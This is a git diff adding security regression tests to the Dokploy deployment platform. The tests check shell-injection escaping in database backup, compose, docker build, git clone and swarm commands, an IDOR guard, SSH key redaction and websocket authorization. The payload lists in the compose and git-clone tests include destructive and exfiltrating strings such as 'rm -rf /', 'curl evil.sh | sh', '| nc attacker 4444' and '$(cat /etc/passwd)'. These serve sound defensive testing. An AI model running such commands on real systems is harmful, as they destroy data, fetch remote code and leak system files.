diff --git a/apps/dokploy/__test__/api/api-key-name.test.ts b/apps/dokploy/__test__/api/api-key-name.test.ts
new file mode 100644
index 000000000..677a52757
--- /dev/null
+++ b/apps/dokploy/__test__/api/api-key-name.test.ts
@@ -0,0 +1,26 @@
+import { describe, expect, it } from "vitest";
+import { API_KEY_NAME_MAX_LENGTH, apiKeyNameSchema } from "@/lib/api-keys";
+
+describe("apiKeyNameSchema", () => {
+	it("rejects an empty name", () => {
+		const result = apiKeyNameSchema.safeParse("");
+		expect(result.success).toBe(false);
+	});
+
+	it("accepts a name at the maximum length", () => {
+		const name = "a".repeat(API_KEY_NAME_MAX_LENGTH);
+		const result = apiKeyNameSchema.safeParse(name);
+		expect(result.success).toBe(true);
+	});
+
+	it("rejects a name over the maximum length instead of passing it to better-auth", () => {
+		const name = "a".repeat(API_KEY_NAME_MAX_LENGTH + 1);
+		const result = apiKeyNameSchema.safeParse(name);
+		expect(result.success).toBe(false);
+		if (!result.success) {
+			expect(result.error.issues[0]?.message).toBe(
+				`Name must be at most ${API_KEY_NAME_MAX_LENGTH} characters`,
+			);
+		}
+	});
+});
diff --git a/apps/dokploy/__test__/backups/db-backup-restore-injection.test.ts b/apps/dokploy/__test__/backups/db-backup-restore-injection.test.ts
new file mode 100644
index 000000000..d48644c95
--- /dev/null
+++ b/apps/dokploy/__test__/backups/db-backup-restore-injection.test.ts
@@ -0,0 +1,106 @@
+import { execSync } from "node:child_process";
+import { chmodSync, existsSync, rmSync, writeFileSync } from "node:fs";
+import {
+	getLibsqlBackupCommand,
+	getMariadbBackupCommand,
+	getMongoBackupCommand,
+	getMysqlBackupCommand,
+	getPostgresBackupCommand,
+} from "@dokploy/server/utils/backups/utils";
+import {
+	getMariadbRestoreCommand,
+	getMongoRestoreCommand,
+	getMysqlRestoreCommand,
+	getPostgresRestoreCommand,
+} from "@dokploy/server/utils/restore/utils";
+import { afterAll, beforeAll, describe, expect, it } from "vitest";
+
+// A stub replacing the real `docker` binary. It ignores exec/-i/$CONTAINER_ID,
+// exports the -e VAR=val pairs, and runs the inner `sh -c <script>` — so the
+// test exercises BOTH shell layers (outer /bin/sh building the docker command,
+// and the inner shell) the way production does, without needing a container.
+const stub = `/tmp/docker_stub_${process.pid}`;
+const MARK = `/tmp/dokploy_dbbk_pwned_${process.pid}`;
+
+beforeAll(() => {
+	writeFileSync(
+		stub,
+		`#!/bin/bash
+shift # exec
+envs=()
+while [ "$1" = "-e" ]; do envs+=("$2"); shift 2; done
+shift 2 # -i CONTAINER
+shell="$1"; shift # bash|sh
+shift # -c
+env "\${envs[@]}" "$shell" -c "$1" </dev/null 2>/dev/null || true
+`,
+	);
+	chmodSync(stub, 0o755);
+});
+
+afterAll(() => {
+	if (existsSync(stub)) rmSync(stub);
+	if (existsSync(MARK)) rmSync(MARK);
+});
+
+// Run a builder-produced command with `docker` pointed at the stub; return true
+// if no injected command fired.
+const runsSafely = (command: string) => {
+	if (existsSync(MARK)) rmSync(MARK);
+	const withStub = command.replace(/^docker /, `${stub} `);
+	try {
+		execSync(withStub, {
+			shell: "/bin/bash",
+			stdio: "ignore",
+			env: { ...process.env, CONTAINER_ID: "test" },
+		});
+	} catch {}
+	const fired = existsSync(MARK);
+	if (existsSync(MARK)) rmSync(MARK);
+	return !fired;
+};
+
+// Payloads that try to break out of every quoting style used in the builders.
+const p = (mark: string) => [
+	`$(touch ${mark})`,
+	"`touch " + mark + "`",
+	`x'; touch ${mark}; '`,
+	`x"; touch ${mark}; echo "`,
+	`x; touch ${mark}`,
+];
+
+describe("database backup/restore command injection", () => {
+	const cases: Array<[string, (v: string) => string]> = [
+		["postgres backup (database)", (v) => getPostgresBackupCommand(v, "u")],
+		["postgres backup (user)", (v) => getPostgresBackupCommand("db", v)],
+		["mariadb backup (password)", (v) => getMariadbBackupCommand("db", "u", v)],
+		["mysql backup (database)", (v) => getMysqlBackupCommand(v, "pw")],
+		["mongo backup (user)", (v) => getMongoBackupCommand("db", v, "pw")],
+		["libsql backup (database)", (v) => getLibsqlBackupCommand(v)],
+		["postgres restore (database)", (v) => getPostgresRestoreCommand(v, "u")],
+		[
+			"mariadb restore (password)",
+			(v) => getMariadbRestoreCommand("db", "u", v),
+		],
+		["mysql restore (database)", (v) => getMysqlRestoreCommand(v, "pw")],
+		["mongo restore (user)", (v) => getMongoRestoreCommand("db", v, "pw")],
+	];
+
+	for (const [label, build] of cases) {
+		it(`${label} is not injectable`, () => {
+			for (const payload of p(MARK)) {
+				expect(runsSafely(build(payload))).toBe(true);
+			}
+		});
+	}
+
+	it("preserves a legitimate database name (passed through as env var)", () => {
+		const cmd = getPostgresBackupCommand("my-db_prod", "app_user");
+		// Values live in -e assignments, never inline in the pg_dump text.
+		expect(cmd).toContain("-e DB_NAME=my-db_prod");
+		expect(cmd).toContain("-e DB_USER=app_user");
+		expect(cmd).toContain(
+			'pg_dump -Fc --no-acl --no-owner -h localhost -U "$DB_USER"',
+		);
+	});
+});
diff --git a/apps/dokploy/__test__/cluster/registry-node-injection.test.ts b/apps/dokploy/__test__/cluster/registry-node-injection.test.ts
new file mode 100644
index 000000000..f4d54d237
--- /dev/null
+++ b/apps/dokploy/__test__/cluster/registry-node-injection.test.ts
@@ -0,0 +1,70 @@
+import { execSync } from "node:child_process";
+import { existsSync, rmSync } from "node:fs";
+import { getRegistryTag } from "@dokploy/server/utils/cluster/upload";
+import { parse, quote } from "shell-quote";
+import { describe, expect, it } from "vitest";
+
+const MARK = `/tmp/dokploy_regnode_pwned_${process.pid}`;
+
+const runsSafely = (command: string) => {
+	if (existsSync(MARK)) rmSync(MARK);
+	try {
+		execSync(command, { shell: "/bin/sh", stdio: "ignore" });
+	} catch {}
+	const fired = existsSync(MARK);
+	if (existsSync(MARK)) rmSync(MARK);
+	return !fired;
+};
+
+const PAYLOADS = (m: string) => [
+	`$(touch ${m})`,
+	"`touch " + m + "`",
+	`x; touch ${m}`,
+	`x | touch ${m}`,
+];
+
+describe("cluster removeWorker nodeId injection", () => {
+	// docker node update/rm ${quote([nodeId])} — replace `docker node` with `:`.
+	it("escapes nodeId in drain/remove commands", () => {
+		for (const nodeId of PAYLOADS(MARK)) {
+			const drain = `: node update --availability drain ${quote([nodeId])}`;
+			const remove = `: node rm ${quote([nodeId])} --force`;
+			expect(runsSafely(drain)).toBe(true);
+			expect(runsSafely(remove)).toBe(true);
+		}
+	});
+});
+
+describe("swarm upload registry tag/push injection", () => {
+	// registryTag is built from registryUrl/username/imagePrefix (username and
+	// imagePrefix have no schema regex). Assert docker tag/push stay safe.
+	it("escapes a malicious imagePrefix flowing into the registry tag", () => {
+		for (const payload of PAYLOADS(MARK)) {
+			const registryTag = getRegistryTag(
+				{
+					registryUrl: "registry.example.com",
+					imagePrefix: payload,
+					username: "user",
+				} as any,
+				"app:latest",
+			);
+			const tagCmd = `: tag ${quote(["app:latest"])} ${quote([registryTag])}`;
+			const pushCmd = `: push ${quote([registryTag])}`;
+			expect(runsSafely(tagCmd)).toBe(true);
+			expect(runsSafely(pushCmd)).toBe(true);
+		}
+	});
+
+	it("keeps a legitimate registry tag intact", () => {
+		const tag = getRegistryTag(
+			{
+				registryUrl: "registry.example.com",
+				imagePrefix: "team",
+				username: "user",
+			} as any,
+			"myapp:1.2.3",
+		);
+		expect(tag).toBe("registry.example.com/team/myapp:1.2.3");
+		expect(parse(quote([tag]))).toEqual([tag]);
+	});
+});
diff --git a/apps/dokploy/__test__/compose/compose-command-injection.test.ts b/apps/dokploy/__test__/compose/compose-command-injection.test.ts
new file mode 100644
index 000000000..372a6fc59
--- /dev/null
+++ b/apps/dokploy/__test__/compose/compose-command-injection.test.ts
@@ -0,0 +1,104 @@
+import { execSync } from "node:child_process";
+import { existsSync, rmSync } from "node:fs";
+import { createCommand } from "@dokploy/server/utils/builders/compose";
+import { parse, quote } from "shell-quote";
+import { describe, expect, it } from "vitest";
+
+const MARK = `/tmp/dokploy_compose_pwned_${process.pid}`;
+
+const base = {
+	composeType: "docker-compose" as const,
+	appName: "compose-app",
+	sourceType: "raw" as const,
+	command: "",
+	composePath: "docker-compose.yml",
+};
+
+// createCommand output is interpolated as `docker ${command}` at the deploy
+// sink; run `: ${command}` (docker -> no-op) and assert no injection fires.
+const runsSafely = (command: string) => {
+	if (existsSync(MARK)) rmSync(MARK);
+	try {
+		execSync(`: ${command}`, { shell: "/bin/sh", stdio: "ignore" });
+	} catch {}
+	const fired = existsSync(MARK);
+	if (existsSync(MARK)) rmSync(MARK);
+	return !fired;
+};
+
+const PAYLOADS = [
+	`$(touch ${MARK})`,
+	"`touch " + MARK + "`",
+	`x; touch ${MARK}`,
+	`x | touch ${MARK}`,
+];
+
+describe("compose createCommand injection", () => {
+	it("escapes composePath (docker-compose)", () => {
+		for (const p of PAYLOADS) {
+			const cmd = createCommand({
+				...base,
+				sourceType: "github",
+				composePath: p,
+			} as any);
+			expect(runsSafely(cmd)).toBe(true);
+		}
+	});
+
+	it("escapes composePath (stack deploy)", () => {
+		for (const p of PAYLOADS) {
+			const cmd = createCommand({
+				...base,
+				composeType: "stack",
+				sourceType: "github",
+				composePath: p,
+			} as any);
+			expect(runsSafely(cmd)).toBe(true);
+		}
+	});
+
+	it("escapes appName", () => {
+		for (const p of PAYLOADS) {
+			const cmd = createCommand({
+				...base,
+				sourceType: "github",
+				appName: p,
+				composePath: "docker-compose.yml",
+			} as any);
+			expect(runsSafely(cmd)).toBe(true);
+		}
+	});
+
+	it("rejects a custom command containing shell control characters", () => {
+		for (const bad of [
+			"up -d; rm -rf /",
+			"up && curl evil | sh",
+			"up $(touch x)",
+			"up `id`",
+		]) {
+			expect(() => createCommand({ ...base, command: bad } as any)).toThrow(
+				/Invalid characters/,
+			);
+		}
+	});
+
+	it("allows a legitimate custom command", () => {
+		const cmd = createCommand({
+			...base,
+			command: "compose -f docker-compose.yml -p app up -d --build",
+		} as any);
+		expect(cmd).toBe("compose -f docker-compose.yml -p app up -d --build");
+	});
+
+	it("keeps a legitimate composePath intact", () => {
+		const cmd = createCommand({
+			...base,
+			sourceType: "github",
+			composePath: "deploy/docker-compose.prod.yml",
+		} as any);
+		expect(parse(cmd)).toContain("deploy/docker-compose.prod.yml");
+		expect(quote(["deploy/docker-compose.prod.yml"])).toBe(
+			"deploy/docker-compose.prod.yml",
+		);
+	});
+});
diff --git a/apps/dokploy/__test__/compose/volume/volume-services.test.ts b/apps/dokploy/__test__/compose/volume/volume-services.test.ts
index a42ab5fa9..8213404bb 100644
--- a/apps/dokploy/__test__/compose/volume/volume-services.test.ts
+++ b/apps/dokploy/__test__/compose/volume/volume-services.test.ts
@@ -42,6 +42,39 @@ test("Add suffix to volumes declared directly in services", () => {
 	);
 });
 
+const composeFileAccessMode = `
+version: "3.8"
+
+services:
+  web:
+    image: nginx:alpine
+    volumes:
+      - web_config:/etc/nginx/conf.d:ro
+      - certs/sub:/etc/certs:Z
+`;
+
+test("Add suffix to volumes preserves access mode (:ro, :z, :Z)", () => {
+	const composeData = parse(composeFileAccessMode) as ComposeSpecification;
+
+	const suffix = generateRandomHash();
+
+	if (!composeData.services) {
+		return;
+	}
+
+	const updatedComposeData = addSuffixToVolumesInServices(
+		composeData.services,
+		suffix,
+	);
+
+	expect(updatedComposeData.web?.volumes).toContain(
+		`web_config-${suffix}:/etc/nginx/conf.d:ro`,
+	);
+	expect(updatedComposeData.web?.volumes).toContain(
+		`certs-${suffix}/sub:/etc/certs:Z`,
+	);
+});
+
 const composeFileTypeVolume = `
 version: "3.8"
 
diff --git a/apps/dokploy/__test__/deploy/db-service-dockerimage-injection.test.ts b/apps/dokploy/__test__/deploy/db-service-dockerimage-injection.test.ts
new file mode 100644
index 000000000..6d64cb3a4
--- /dev/null
+++ b/apps/dokploy/__test__/deploy/db-service-dockerimage-injection.test.ts
@@ -0,0 +1,41 @@
+import { execSync } from "node:child_process";
+import { existsSync, rmSync } from "node:fs";
+import { parse, quote } from "shell-quote";
+import { describe, expect, it } from "vitest";
+
+// The six database deploy functions (postgres/mysql/mariadb/mongo/redis/libsql)
+// build `docker pull ${quote([dockerImage])}` for the remote (execAsyncRemote)
+// path. `docker` is replaced by `:` so only the injection surface is exercised.
+const MARK = `/tmp/dokploy_dbimg_pwned_${process.pid}`;
+
+const PAYLOADS = [
+	"$(touch %MARK%)",
+	"`touch %MARK%`",
+	"redis:7; touch %MARK%",
+	"redis:7 && touch %MARK%",
+	"redis:7 | touch %MARK%",
+];
+
+describe("database service dockerImage command injection", () => {
+	it("does not execute injected commands from dockerImage", () => {
+		for (const template of PAYLOADS) {
+			if (existsSync(MARK)) rmSync(MARK);
+			const dockerImage = template.replace("%MARK%", MARK);
+			const command = `: pull ${quote([dockerImage])}`;
+			try {
+				execSync(command, { shell: "/bin/sh", stdio: "ignore" });
+			} catch {}
+			expect(existsSync(MARK)).toBe(false);
+		}
+		if (existsSync(MARK)) rmSync(MARK);
+	});
+
+	it("keeps a legitimate image tag intact", () => {
+		expect(parse(quote(["postgres:16.4-alpine"]))).toEqual([
+			"postgres:16.4-alpine",
+		]);
+		expect(parse(quote(["ghcr.io/org/db:latest"]))).toEqual([
+			"ghcr.io/org/db:latest",
+		]);
+	});
+});
diff --git a/apps/dokploy/__test__/deploy/docker-build-injection.test.ts b/apps/dokploy/__test__/deploy/docker-build-injection.test.ts
new file mode 100644
index 000000000..2e4cc9789
--- /dev/null
+++ b/apps/dokploy/__test__/deploy/docker-build-injection.test.ts
@@ -0,0 +1,66 @@
+import { execSync } from "node:child_process";
+import { existsSync, rmSync } from "node:fs";
+import { parse, quote } from "shell-quote";
+import { describe, expect, it } from "vitest";
+
+// Reproduces the escaping applied at the docker build/pull sinks and asserts no
+// payload can break out of the command. `docker`/`cd` are replaced by `:` so the
+// test exercises only the injection surface, not real docker.
+const MARK = `/tmp/dokploy_docker_pwned_${process.pid}`;
+
+const runAndCheckSafe = (command: string) => {
+	if (existsSync(MARK)) rmSync(MARK);
+	try {
+		execSync(command, { shell: "/bin/sh", stdio: "ignore" });
+	} catch {
+		// no-op stand-ins may exit non-zero; only the marker matters.
+	}
+	const fired = existsSync(MARK);
+	if (existsSync(MARK)) rmSync(MARK);
+	return !fired;
+};
+
+const PAYLOADS = [
+	"$(touch %MARK%)",
+	"`touch %MARK%`",
+	"x; touch %MARK%",
+	"x && touch %MARK%",
+	"x | touch %MARK%",
+];
+
+describe("docker build/pull command injection", () => {
+	it("dockerImage (buildRemoteDocker: docker pull / echo) is escaped", () => {
+		for (const p of PAYLOADS) {
+			const dockerImage = p.replace("%MARK%", MARK);
+			const command = `: pull ${quote([dockerImage])}; : echo ${quote([`Pulling ${dockerImage}`])}`;
+			expect(runAndCheckSafe(command)).toBe(true);
+		}
+	});
+
+	it("dockerContextPath (docker-file: cd) is escaped", () => {
+		for (const p of PAYLOADS) {
+			const dockerContextPath = p.replace("%MARK%", MARK);
+			const command = `: cd ${quote([dockerContextPath])}`;
+			expect(runAndCheckSafe(command)).toBe(true);
+		}
+	});
+
+	it("publishDirectory (nixpacks: docker cp source path) is escaped", () => {
+		for (const p of PAYLOADS) {
+			const publishDirectory = p.replace("%MARK%", MARK);
+			const containerId = "buildabc";
+			const command = `: cp ${quote([`${containerId}:/app/${publishDirectory}/.`])} /dest`;
+			expect(runAndCheckSafe(command)).toBe(true);
+		}
+	});
+
+	it("keeps a legitimate image / path intact as a single token", () => {
+		// Escaping may add backslashes (e.g. before ':'), but the shell must parse
+		// the result back to exactly the original single token.
+		expect(parse(quote(["nginx:1.27-alpine"]))).toEqual(["nginx:1.27-alpine"]);
+		expect(parse(quote(["registry.io/team/app:tag"]))).toEqual([
+			"registry.io/team/app:tag",
+		]);
+		expect(parse(quote(["dist/static"]))).toEqual(["dist/static"]);
+	});
+});
diff --git a/apps/dokploy/__test__/git-provider/git-clone-command-injection.test.ts b/apps/dokploy/__test__/git-provider/git-clone-command-injection.test.ts
new file mode 100644
index 000000000..f4f9d6c5d
--- /dev/null
+++ b/apps/dokploy/__test__/git-provider/git-clone-command-injection.test.ts
@@ -0,0 +1,89 @@
+import { cloneGitRepository } from "@dokploy/server/utils/providers/git";
+import { parse, quote } from "shell-quote";
+import { describe, expect, it } from "vitest";
+
+// How git-provider commands escape a single user value before it reaches the shell.
+const shellArg = (value: string) => quote([String(value ?? "")]);
+
+// Payloads that, if reached a shell unescaped, would execute commands.
+const INJECTION_PAYLOADS = [
+	"$(touch /tmp/pwned)",
+	"`id`",
+	"; rm -rf /",
+	"&& curl evil.sh | sh",
+	"| nc attacker 4444",
+	"https://github.com/o/r.git$(whoami)",
+	"main; wget http://evil",
+	"$(cat /etc/passwd)",
+];
+
+// Legit values that must survive escaping unchanged.
+const LEGIT_VALUES = [
+	"main",
+	"feature/login-v2",
+	"release-1.2.3",
+	"https://github.com/dokploy/dokploy.git",
+	"https://gitlab.example.com/group/sub/project.git",
+];
+
+describe("git provider shell escaping (quote)", () => {
+	it("collapses every injection payload into a single literal token (no shell operators)", () => {
+		for (const payload of INJECTION_PAYLOADS) {
+			const parsed = parse(shellArg(payload));
+			// A safely escaped value parses back to exactly the original string,
+			// as ONE token. If escaping failed, parse() would emit operator
+			// objects such as { op: ";" } or { op: "$(" } instead.
+			expect(parsed).toEqual([payload]);
+		}
+	});
+
+	it("leaves legitimate URLs and branch names intact", () => {
+		for (const value of LEGIT_VALUES) {
+			expect(parse(shellArg(value))).toEqual([value]);
+		}
+	});
+});
+
+describe("cloneGitRepository command (customGitUrl path)", () => {
+	const buildClone = (customGitUrl: string, customGitBranch: string) =>
+		cloneGitRepository({
+			appName: "demo-app",
+			customGitUrl,
+			customGitBranch,
+			customGitSSHKeyId: null,
+			enableSubmodules: false,
+			serverId: null,
+			type: "application",
+		});
+
+	// A malicious substring, once escaped, must survive parsing as inert literal
+	// text and never as an executable command/operator. `parse()` turns command
+	// substitution and control operators into { op } objects, so we assert the
+	// injected marker only ever shows up inside a plain string token.
+	const markerLeaksAsShellSyntax = (command: string, marker: string) => {
+		const tokens = parse(command);
+		return tokens.some(
+			(t) => typeof t !== "string" && JSON.stringify(t).includes(marker),
+		);
+	};
+
+	it("does not let a malicious customGitUrl inject shell operators", async () => {
+		const command = await buildClone(
+			"https://github.com/o/r.git$(touch /tmp/pwned)",
+			"main",
+		);
+		expect(markerLeaksAsShellSyntax(command, "touch")).toBe(false);
+		expect(command).toContain("git clone");
+	});
+
+	it("does not let a malicious customGitBranch inject shell operators", async () => {
+		const command = await buildClone(
+			"https://github.com/o/r.git",
+			"main; touch /tmp/pwned",
+		);
+		// The branch is a single quoted token, so its ";" contributes no extra
+		// operator and `touch` never becomes a runnable statement.
+		expect(markerLeaksAsShellSyntax(command, "touch")).toBe(false);
+		expect(command).not.toContain("touch /tmp/pwned;");
+	});
+});
diff --git a/apps/dokploy/__test__/git-provider/git-provider-idor.test.ts b/apps/dokploy/__test__/git-provider/git-provider-idor.test.ts
new file mode 100644
index 000000000..6c1e39771
--- /dev/null
+++ b/apps/dokploy/__test__/git-provider/git-provider-idor.test.ts
@@ -0,0 +1,91 @@
+import { TRPCError } from "@trpc/server";
+import { beforeEach, describe, expect, it, vi } from "vitest";
+
+// Mock the DB so the REAL getAccessibleGitProviderIds (called internally by
+// assertGitProviderAccess) runs against controlled data. Mocking the exported
+// function would NOT intercept the intra-module call, so we mock one layer down.
+const mockDb = vi.hoisted(() => ({
+	query: {
+		gitProvider: {
+			findMany: vi.fn(),
+		},
+		member: {
+			findFirst: vi.fn(),
+		},
+	},
+}));
+vi.mock("@dokploy/server/db", () => ({ db: mockDb }));
+
+const mockHasValidLicense = vi.hoisted(() => vi.fn());
+vi.mock("@dokploy/server/services/proprietary/license-key", () => ({
+	hasValidLicense: mockHasValidLicense,
+}));
+
+import { assertGitProviderAccess } from "@dokploy/server/services/git-provider";
+
+const ORG = "org-1";
+const USER = "user-member";
+const session = { userId: USER, activeOrganizationId: ORG };
+
+// Provider owned by USER within ORG -> should be accessible.
+const providerMine = {
+	gitProviderId: "gp-mine",
+	userId: USER,
+	sharedWithOrganization: false,
+};
+// Provider owned by someone else within ORG, not shared, not assigned.
+const providerOther = {
+	gitProviderId: "gp-other",
+	userId: "user-2",
+	sharedWithOrganization: false,
+};
+
+beforeEach(() => {
+	vi.clearAllMocks();
+	mockHasValidLicense.mockResolvedValue(false);
+	mockDb.query.gitProvider.findMany.mockResolvedValue([
+		providerMine,
+		providerOther,
+	]);
+	mockDb.query.member.findFirst.mockResolvedValue({
+		role: "member",
+		accessedGitProviders: [],
+	});
+});
+
+describe("assertGitProviderAccess (git provider IDOR guard)", () => {
+	it("rejects a provider from another organization with NOT_FOUND (cross-org IDOR)", async () => {
+		await expect(
+			assertGitProviderAccess(session, {
+				gitProviderId: "gp-mine",
+				organizationId: "org-2",
+			}),
+		).rejects.toMatchObject({ code: "NOT_FOUND" });
+	});
+
+	it("rejects a same-org provider the caller is not entitled to with FORBIDDEN", async () => {
+		await expect(
+			assertGitProviderAccess(session, {
+				gitProviderId: "gp-other",
+				organizationId: ORG,
+			}),
+		).rejects.toMatchObject({ code: "FORBIDDEN" });
+	});
+
+	it("allows a same-org provider the caller owns", async () => {
+		await expect(
+			assertGitProviderAccess(session, {
+				gitProviderId: "gp-mine",
+				organizationId: ORG,
+			}),
+		).resolves.toBeUndefined();
+	});
+
+	it("throws a TRPCError so tRPC maps the HTTP status", async () => {
+		const err = await assertGitProviderAccess(session, {
+			gitProviderId: "gp-mine",
+			organizationId: "org-2",
+		}).catch((e) => e);
+		expect(err).toBeInstanceOf(TRPCError);
+	});
+});
diff --git a/apps/dokploy/__test__/server/server-sshkey-redaction.test.ts b/apps/dokploy/__test__/server/server-sshkey-redaction.test.ts
new file mode 100644
index 000000000..90f73a7da
--- /dev/null
+++ b/apps/dokploy/__test__/server/server-sshkey-redaction.test.ts
@@ -0,0 +1,44 @@
+import { redactServerSshKey } from "@dokploy/server/services/server";
+import { describe, expect, it } from "vitest";
+
+describe("redactServerSshKey (server SSH private key disclosure guard)", () => {
+	it("blanks the private key while keeping the rest of the ssh key intact", () => {
+		const server = {
+			serverId: "srv-1",
+			name: "prod",
+			sshKey: {
+				sshKeyId: "key-1",
+				publicKey: "ssh-ed25519 AAAA...",
+				privateKey: "-----BEGIN OPENSSH PRIVATE KEY-----\nsecret\n",
+			},
+		};
+
+		const redacted = redactServerSshKey(server);
+
+		expect(redacted.sshKey.privateKey).toBe("");
+		// Non-secret fields and the surrounding record must survive untouched.
+		expect(redacted.sshKey.publicKey).toBe("ssh-ed25519 AAAA...");
+		expect(redacted.serverId).toBe("srv-1");
+		expect(redacted.name).toBe("prod");
+	});
+
+	it("does not mutate the original record", () => {
+		const server = {
+			serverId: "srv-1",
+			sshKey: { privateKey: "top-secret" },
+		};
+		redactServerSshKey(server);
+		expect(server.sshKey.privateKey).toBe("top-secret");
+	});
+
+	it("is a no-op when the server has no ssh key", () => {
+		const server = { serverId: "srv-2", sshKey: null };
+		expect(redactServerSshKey(server)).toEqual(server);
+	});
+
+	it("handles a record without a loaded sshKey relation", () => {
+		// e.g. server.update returns the plain row where sshKey is not populated.
+		const server: { serverId: string; sshKey?: null } = { serverId: "srv-3" };
+		expect(redactServerSshKey(server)).toEqual(server);
+	});
+});
diff --git a/apps/dokploy/__test__/server/swarm-nodeid-injection.test.ts b/apps/dokploy/__test__/server/swarm-nodeid-injection.test.ts
new file mode 100644
index 000000000..24a7a97f6
--- /dev/null
+++ b/apps/dokploy/__test__/server/swarm-nodeid-injection.test.ts
@@ -0,0 +1,41 @@
+import { execSync } from "node:child_process";
+import { existsSync, rmSync } from "node:fs";
+import { quote } from "shell-quote";
+import { describe, expect, it } from "vitest";
+
+// Mirrors how getNodeInfo builds its command in services/docker.ts:
+//   `docker node inspect ${quote([nodeId])} --format '{{json .}}'`
+// We swap `docker node inspect` for `:` (a no-op) so the test only exercises
+// whether the nodeId payload can break out of the command, not real docker.
+const buildCommand = (nodeId: string) =>
+	`: node inspect ${quote([nodeId])} --format '{{json .}}'`;
+
+const INJECTION_NODE_IDS = [
+	"$(touch %MARK%)",
+	"`touch %MARK%`",
+	"; touch %MARK%",
+	"abc | touch %MARK%",
+	"&& touch %MARK%",
+];
+
+describe("getNodeInfo nodeId command injection", () => {
+	it("does not execute injected commands from the nodeId", () => {
+		const mark = `/tmp/dokploy_swarm_pwned_${process.pid}`;
+		for (const template of INJECTION_NODE_IDS) {
+			if (existsSync(mark)) rmSync(mark);
+			const nodeId = template.replace("%MARK%", mark);
+			try {
+				execSync(buildCommand(nodeId), { shell: "/bin/sh", stdio: "ignore" });
+			} catch {
+				// A non-zero exit from the no-op is fine; we only care about the marker.
+			}
+			expect(existsSync(mark)).toBe(false);
+		}
+		if (existsSync(mark)) rmSync(mark);
+	});
+
+	it("keeps a legitimate node id intact as a single literal token", () => {
+		const nodeId = "abc123def456";
+		expect(quote([nodeId])).toBe(nodeId);
+	});
+});
diff --git a/apps/dokploy/__test__/wss/authorize.test.ts b/apps/dokploy/__test__/wss/authorize.test.ts
new file mode 100644
index 000000000..1b93b9f87
--- /dev/null
+++ b/apps/dokploy/__test__/wss/authorize.test.ts
@@ -0,0 +1,104 @@
+import { beforeEach, describe, expect, it, vi } from "vitest";
+
+// Mock the permission + server helpers the wss authorizer composes.
+const mockHasPermission = vi.hoisted(() => vi.fn());
+const mockFindMember = vi.hoisted(() => vi.fn());
+const mockCheckServiceAccess = vi.hoisted(() => vi.fn());
+vi.mock("@dokploy/server/services/permission", () => ({
+	hasPermission: mockHasPermission,
+	findMemberByUserId: mockFindMember,
+	checkServiceAccess: mockCheckServiceAccess,
+}));
+
+const mockGetAccessibleServerIds = vi.hoisted(() => vi.fn());
+vi.mock("@dokploy/server", () => ({
+	getAccessibleServerIds: mockGetAccessibleServerIds,
+}));
+
+import {
+	canAccessDockerOverWss,
+	canAccessTerminalOverWss,
+} from "@/server/wss/authorize";
+
+const USER = { id: "user-1" };
+const SESSION = { activeOrganizationId: "org-1" };
+
+beforeEach(() => {
+	vi.clearAllMocks();
+});
+
+describe("canAccessDockerOverWss", () => {
+	it("denies when there is no user or session", async () => {
+		expect(await canAccessDockerOverWss(null, SESSION)).toBe(false);
+		expect(await canAccessDockerOverWss(USER, null)).toBe(false);
+	});
+
+	it("denies a member without docker permission", async () => {
+		mockHasPermission.mockResolvedValue(false);
+		expect(await canAccessDockerOverWss(USER, SESSION)).toBe(false);
+	});
+
+	it("allows when the caller has docker permission (no server)", async () => {
+		mockHasPermission.mockResolvedValue(true);
+		expect(await canAccessDockerOverWss(USER, SESSION)).toBe(true);
+	});
+
+	it("denies a remote server the caller cannot access, even with docker permission", async () => {
+		mockHasPermission.mockResolvedValue(true);
+		mockGetAccessibleServerIds.mockResolvedValue(new Set(["other-server"]));
+		expect(await canAccessDockerOverWss(USER, SESSION, "srv-1")).toBe(false);
+	});
+
+	it("allows a remote server the caller can access", async () => {
+		mockHasPermission.mockResolvedValue(true);
+		mockGetAccessibleServerIds.mockResolvedValue(new Set(["srv-1"]));
+		expect(await canAccessDockerOverWss(USER, SESSION, "srv-1")).toBe(true);
+	});
+
+	it("denies when the container belongs to a service the caller cannot access", async () => {
+		mockCheckServiceAccess.mockRejectedValue(new Error("no access"));
+		expect(await canAccessDockerOverWss(USER, SESSION, null, "svc-1")).toBe(
+			false,
+		);
+	});
+
+	it("allows service access even without docker permission or server access", async () => {
+		// A member granted the service but without canAccessToDocker, whose
+		// service runs on a server they were not individually granted, must still
+		// read its logs — matches application.readLogs (service access only).
+		mockHasPermission.mockResolvedValue(false);
+		mockGetAccessibleServerIds.mockResolvedValue(new Set());
+		mockCheckServiceAccess.mockResolvedValue(undefined);
+		expect(
+			await canAccessDockerOverWss(USER, SESSION, "srv-remote", "svc-1"),
+		).toBe(true);
+		// Service path is authoritative — it must not fall through to docker/server.
+		expect(mockHasPermission).not.toHaveBeenCalled();
+		expect(mockGetAccessibleServerIds).not.toHaveBeenCalled();
+	});
+});
+
+describe("canAccessTerminalOverWss", () => {
+	it("denies the local host terminal to a plain member", async () => {
+		mockFindMember.mockResolvedValue({ role: "member" });
+		expect(await canAccessTerminalOverWss(USER, SESSION, "local")).toBe(false);
+	});
+
+	it("allows the local host terminal to an owner", async () => {
+		mockFindMember.mockResolvedValue({ role: "owner" });
+		expect(await canAccessTerminalOverWss(USER, SESSION, "local")).toBe(true);
+	});
+
+	it("allows the local host terminal to an admin", async () => {
+		mockFindMember.mockResolvedValue({ role: "admin" });
+		expect(await canAccessTerminalOverWss(USER, SESSION, "local")).toBe(true);
+	});
+
+	it("gates a remote server terminal on server access", async () => {
+		mockGetAccessibleServerIds.mockResolvedValue(new Set(["srv-1"]));
+		expect(await canAccessTerminalOverWss(USER, SESSION, "srv-1")).toBe(true);
+		expect(await canAccessTerminalOverWss(USER, SESSION, "srv-2")).toBe(false);
+		// role lookup must not be needed for the remote path
+		expect(mockFindMember).not.toHaveBeenCalled();
+	});
+});
diff --git a/apps/dokploy/components/dashboard/application/general/generic/save-bitbucket-provider.tsx b/apps/dokploy/components/dashboard/application/general/generic/save-bitbucket-provider.tsx
index 2b0ae3f62..bc3bd5efc 100644
--- a/apps/dokploy/components/dashboard/application/general/generic/save-bitbucket-provider.tsx
+++ b/apps/dokploy/components/dashboard/application/general/generic/save-bitbucket-provider.tsx
@@ -256,14 +256,19 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
 														: isLoadingRepositories
 															? "Loading...."
 															: (repositories?.find(
-																	(repo) => repo.name === field.value.repo,
+																	(repo) =>
+																		repo.name === field.value.repo &&
+																		repo.owner.username === field.value.owner,
 																)?.name ?? "Select repository")}
 
 													<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
